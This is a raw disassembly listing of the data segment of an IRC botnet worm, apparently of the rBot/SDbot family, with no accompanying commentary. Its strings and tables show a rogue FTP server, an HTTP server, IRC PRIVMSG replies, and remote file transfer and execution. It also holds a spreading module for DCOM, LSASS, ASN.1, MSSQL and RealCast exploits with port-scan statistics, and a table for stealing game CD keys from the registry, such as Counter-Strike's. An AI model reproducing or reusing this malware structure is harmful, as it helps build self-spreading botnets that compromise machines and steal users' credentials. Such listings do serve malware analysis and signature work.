aRetr db 'RETR',0 ; DATA XREF: sub_405398+4E2o
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_405398+4D2o
align 4
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_405398+4C1o
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_405398+48Eo
align 10h
aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_405398+44Ao
db ']',0
aPort db 'PORT',0 ; DATA XREF: sub_405398+411o
align 10h
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_405398+3E3o
align 4
aList db 'LIST',0 ; DATA XREF: sub_405398+3D0o
align 10h
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_405398+395o
align 4
aPasv db 'PASV',0 ; DATA XREF: sub_405398+382o
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_405398+372o
aI: ; DATA XREF: sub_405398+35Eo
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_405398+337o
aA: ; DATA XREF: sub_405398+323o
unicode 0, <A>,0
aType db 'TYPE',0 ; DATA XREF: sub_405398+30Co
; sub_405398+347o
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_405398+2FCo
align 4
off_42694C dd offset dword_445750 ; DATA XREF: sub_405398+2E8o
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_405398+2D8o
align 4
aRest db 'REST',0 ; DATA XREF: sub_405398+2C4o
align 4
a215Fuckftpd db '215 fuckFtpd',0Ah,0 ; DATA XREF: sub_405398+2B4o
align 4
aSyst db 'SYST',0 ; DATA XREF: sub_405398+2A0o
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_405398+290o
align 4
aPass db 'PASS',0 ; DATA XREF: sub_405398+27Co
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_405398+26Co
align 4
aUser_0 db 'USER',0 ; DATA XREF: sub_405398+257o
; seg001:0042C430o ...
align 4
aSS db '%s %s',0 ; DATA XREF: sub_405398+246o
align 4
a220Fuckftpd0wn db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_405398+1C8o
align 4
aRb db 'rb',0 ; DATA XREF: sub_4059FC+24o
; sub_406B84+12Eo ...
align 4
unk_4269E8 db 2 ; DATA XREF: sub_405A96+3D3o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorServerFai db 'Error: server failed, returned: <%d>.',0
align 10h
asc_426A30 db 0Dh,0Ah,0 ; DATA XREF: sub_405A96+2BEo
align 4
asc_426A34: ; DATA XREF: sub_405A96+282o
; sub_40CD3A+A8o ...
unicode 0, < >,0
aGet db 'GET ',0 ; DATA XREF: sub_405A96+258o
align 10h
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405ECC+F0o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405ECC+D3o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_405ECC+97o
; sub_40A9D8+1AEo
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405ECC+83o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_405ECC:loc_405F37o
align 4
aTextHtml db 'text/html',0 ; DATA XREF: sub_405ECC+64o
align 8
unk_426C58 db 2 ; DATA XREF: sub_406048+27Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
align 8
unk_426CA8 db 2 ; DATA XREF: sub_406048+20Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aWorkerThreadOf db 'Worker thread of server thread: %d.',0
asc_426CEC: ; DATA XREF: sub_406048+156o
; seg001:0042E0C8o
unicode 0, <*>,0
asc_426CF0: ; DATA XREF: sub_406048+FAo
; sub_4062F7+29o ...
dw 0Ah
unicode 0, <>,0
aSS_2 db '%s%s',0 ; DATA XREF: sub_406048+E9o
; sub_4062F7+4CFo ...
align 4
aS_1 db '%s',0 ; DATA XREF: sub_406048+39o
; sub_40A53E+4Co ...
align 10h
aS_2 db '\%s',0 ; DATA XREF: sub_406048+2Fo
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_4062F7+64Do
align 10h
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_4062F7+638o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_4062F7+61Do
align 4
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+58Eo
align 8
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_4062F7+566o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4062F7:loc_40681Ao
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4062F7+51Co
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4062F7+476o
align 10h
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+439o
align 10h
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_4062F7+406o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4062F7:loc_4066C4o
align 10h
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4062F7+3C6o
align 10h
aSS_0 db '%s%s/',0 ; DATA XREF: sub_4062F7+379o
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_4062F7+335o
; sub_4062F7+48Bo
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_4062F7+308o
align 4
aS_0 db '<%s>',0 ; DATA XREF: sub_4062F7+2DEo
; sub_4062F7+418o
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_4062F7+2B4o
aAm db 'AM',0 ; DATA XREF: sub_4062F7+293o
align 10h
aPm db 'PM',0 ; DATA XREF: sub_4062F7+284o
align 4
a__1: ; DATA XREF: sub_4062F7+24Co
unicode 0, <.>,0
a__ db '..',0 ; DATA XREF: sub_4062F7+231o
align 10h
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_4062F7+1BFo
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+146o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_4062F7+12Ao
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 8
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_4062F7+F6o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4062F7+ACo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 10h
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_4062F7+77o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 10h
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406A63+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_4271B8 dd 4000500h, 7868746Bh, 2 dup(0) ; DATA XREF: sub_406B84+48Do
dword_4271C8 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_406B84+479o
dd 2029206Ch, 2BBBB02h
aFileSentToSExe db ' File sent to %s, executing %s on remote machine.',0
align 4
unk_427218 db 2 ; DATA XREF: sub_406B84+3B6o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileNotFoundOn db ' File not found on %s, (%s).',0
align 4
dword_427254 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh
; DATA XREF: sub_406B84+399o
unk_427268 db 2 ; DATA XREF: sub_406B84+33Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFileSentToSE_0 db 'File sent to %s, executing %s on remote machine.',0
align 10h
unk_4272C0 db 2 ; DATA XREF: sub_406B84+15Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToOpenFi db 'Failed to open file: %s (possible virus scan!)',0
align 10h
unk_427310 db 2 ; DATA XREF: sub_406B84+6Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSocketF_2 db 'Error: socket() failed, returned: <%d>.',0
aOctet db 'octet',0 ; DATA XREF: sub_406B84+Fo
align 10h
aDcom135_0 db 'dcom135',0 ; DATA XREF: sub_4076CB+155o
db 2 dup(0)
aDcom135 db 'Dcom135',0 ; DATA XREF: seg001:00404A94o
align 4
dd 5 dup(0)
dword_427388 dd 87h ; DATA XREF: sub_407075+1Er
; sub_40CD3A+2EEAr ...
off_42738C dd offset sub_4033B6 ; DATA XREF: sub_4076CB+1D7r
dword_427390 dd 0 ; DATA XREF: sub_402DD1+193r
; sub_4033B6+2F0r ...
dword_427394 dd 1 ; DATA XREF: sub_4071B6+1Fr
dword_427398 dd 0 ; DATA XREF: sub_4071B6:loc_407427r
aDcom445 db 'dcom445',0
dd 63440000h, 34346D6Fh, 35h, 5 dup(0)
dd 1BDh, 4033B6h, 0
dd 1, 0
aDcom1025 db 'dcom1025',0
align 2
aDcom1025_0 db 'Dcom1025',0
align 4
dd 5 dup(0)
dd 401h, 4033B6h, 0
dd 1, 0
aDcass db 'dcass',0
align 4
dd 63640000h, 737361h, 6 dup(0)
dd 1BDh, 402F74h, 0
dd 2 dup(1), 7361736Ch, 35343473h, 736C0000h, 34737361h
dd 3534h, 5 dup(0)
dd 1BDh, 403C74h, 0
dd 2 dup(1), 7361736Ch, 35333173h, 736C0000h, 31737361h
dd 3533h, 5 dup(0)
dd 87h, 403C74h, 0
dd 2 dup(1), 7361736Ch, 39333173h, 736C0000h, 31737361h
dd 3933h, 5 dup(0)
dd 8Bh, 403C74h, 0
dd 2 dup(1), 61736C63h, 7373h, 6C630000h, 73736173h, 6 dup(0)
dd 1BDh, 402DD1h, 0
dd 2 dup(1), 6C31736Ch, 73h, 736C0000h, 736C31h, 6 dup(0)
dd 1BDh, 403E21h, 0
dd 2 dup(1), 7173736Dh, 6Ch, 736D0000h, 6C7173h, 6 dup(0)
dd 599h, 404EC7h, 0
dd 2 dup(1), 316E7361h, 6E626D73h, 736D0074h, 737361h
dd 6 dup(0)
dd 599h, 4050FFh, 0
dd 2 dup(1), 6C616572h, 74736163h, 65520000h, 61636C61h
dd 7473h, 5 dup(0)
dd 22Ah, 40528Fh, 0
dd 1, 0
aAsn1http db 'asn1http',0
align 2
aAsn1http_0 db 'asn1http',0
align 4
dd 5 dup(0)
dd 50h, 4048D6h, 0
dd 2 dup(1), 316E7361h, 626D73h, 73610000h, 6D73316Eh
dd 62h, 5 dup(0)
dd 1BDh, 4048D6h, 0
dd 2 dup(1), 7361736Dh, 73h, 73610000h, 6D73316Eh, 746E62h
dd 5 dup(0)
dd 8Bh, 4048D6h, 0
dd 2 dup(1), 316E7361h, 6E626D73h
db 74h, 0
byte_4276EE db 1 ; DATA XREF: sub_40CD3A:loc_4117DEr
; sub_40CD3A+4AAEo
aLsass445 db 'lsass445',0
dd 736D0100h, 737361h, 0
dd 1, 2 dup(0)
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_407075+81o
align 4
aSD db ' %s: %d,',0 ; DATA XREF: sub_407075+42o
align 10h
unk_427730 db 2 ; DATA XREF: sub_407075+11o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aExploitStatist db ' Exploit Statistics:',0
align 4
unk_427768 db 2 ; DATA XREF: sub_40713F+42o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aScanNotActive_ db ' Scan not active.',0
unk_42779C db 2 ; DATA XREF: sub_40713F+2Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCurrentIpS_ db ' Current IP: %s.',0
align 10h
unk_4277D0 db 2 ; DATA XREF: sub_4071B6+35Do
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStartS db 'Failed to start server, error: <%d>.',0
align 4
unk_427818 db 2 ; DATA XREF: sub_4071B6+307o
; sub_40CD3A+4FD8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aServerListenin db 'Server listening on IP: %s:%d, Directory: %s\.',0
align 4
dword_427868 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_4071B6+252o
dd 2029206Ch, 2BBBB02h
aFailedToStar_0 db ' Failed to start server, error: <%d>.',0
align 10h
dword_4278B0 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_4071B6+1FBo
dd 2029206Ch, 2BBBB02h
aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0
align 8
unk_427908 db 2 ; DATA XREF: sub_4071B6+138o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_1 db 'Failed to start server, error: <%d>.',0
align 10h
unk_427950 db 2 ; DATA XREF: sub_4071B6+D8o
; sub_40CD3A+4E63o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aServerStarte_0 db 'Server started on Port: %d, File: %s, Request: %s.',0
align 4
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_407592+38o
; sub_40A08A+46o
unk_4279B0 db 2 ; DATA XREF: sub_4076CB+DCo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0
align 10h
unk_4279F0 db 2 ; DATA XREF: sub_4076CB+84o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 10h
unk_427A40 db 2 ; DATA XREF: sub_4078DF+1E0o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0
align 4
unk_427A98 db 2 ; DATA XREF: sub_4078DF+168o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0
align 4
unk_427AE8 db 2 ; DATA XREF: sub_4078DF+103o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 8
unk_427B38 db 2 ; DATA XREF: sub_4078DF+87o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToInitia db ' Failed to initialize critical section.',0
align 8
unk_427B88 db 2 ; DATA XREF: sub_407B36+143o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartC db ' Failed to start client thread, error: <%d>.',0
align 4
unk_427BD8 db 2 ; DATA XREF: sub_407B36+E1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0
unk_427C30 db 2 ; DATA XREF: sub_407CBD+157o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0
align 8
unk_427C88 db 2 ; DATA XREF: sub_407CBD+E1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0
align 10h
unk_427CE0 db 2 ; DATA XREF: sub_407F42+1B1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_4 db 'Failed to start server on Port %d.',0
align 8
unk_427D28 db 2 ; DATA XREF: sub_407F42+17Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_5 db 'Failed to start client thread, error: <%d>.',0
align 8
unk_427D78 db 2 ; DATA XREF: sub_407F42+114o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 10h
unk_427DD0 db 2 ; DATA XREF: sub_407F42+A8o
; sub_40CD3A+584Do
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aServerStarte_1 db 'Server started on: %s:%d.',0
align 10h
unk_427E10 db 2 ; DATA XREF: sub_408146+1F9o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorFailedToC db 'Error: Failed to connect to target, returned: <%d>.',0
align 8
unk_427E68 db 2 ; DATA XREF: sub_408146+18Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorFailedToO db 'Error: Failed to open socket(), returned: <%d>.',0
unk_427EB8 db 2 ; DATA XREF: sub_408146+F2o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAuthentication db 'Authentication failed. Remote userid: %s != %s.',0
dd 80000001h
off_427F0C dd offset aSoftwareValveC ; DATA XREF: sub_408503+Cr
; sub_408503+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_427F18 dd 2 dup(0) ; DATA XREF: sub_408503+26o
dd 80000001h, 4290B0h, 4290A4h, 429094h, 2 dup(0)
dd 80000001h, 429074h, 429070h, 42905Ch, 2 dup(0)
dd 80000001h, 429038h, 429070h, 42902Ch, 2 dup(0)
dd 80000001h, 429008h, 429000h, 428FECh, 2 dup(0)
dd 80000001h, 428FD8h, 428FC8h, 428FACh, 2 dup(0)
dd 80000001h, 428F68h, 4290F0h, 428F54h, 2 dup(0)
dd 80000002h, 428F28h, 428F1Ch, 428EFCh, 2 dup(0)
dd 80000002h, 428EC8h, 4290F0h, 428EB0h, 2 dup(0)
dd 80000002h, 428E7Ch, 4290F0h, 428E64h, 2 dup(0)
dd 80000002h, 428E4Ch, 4290F0h, 428E34h, 2 dup(0)
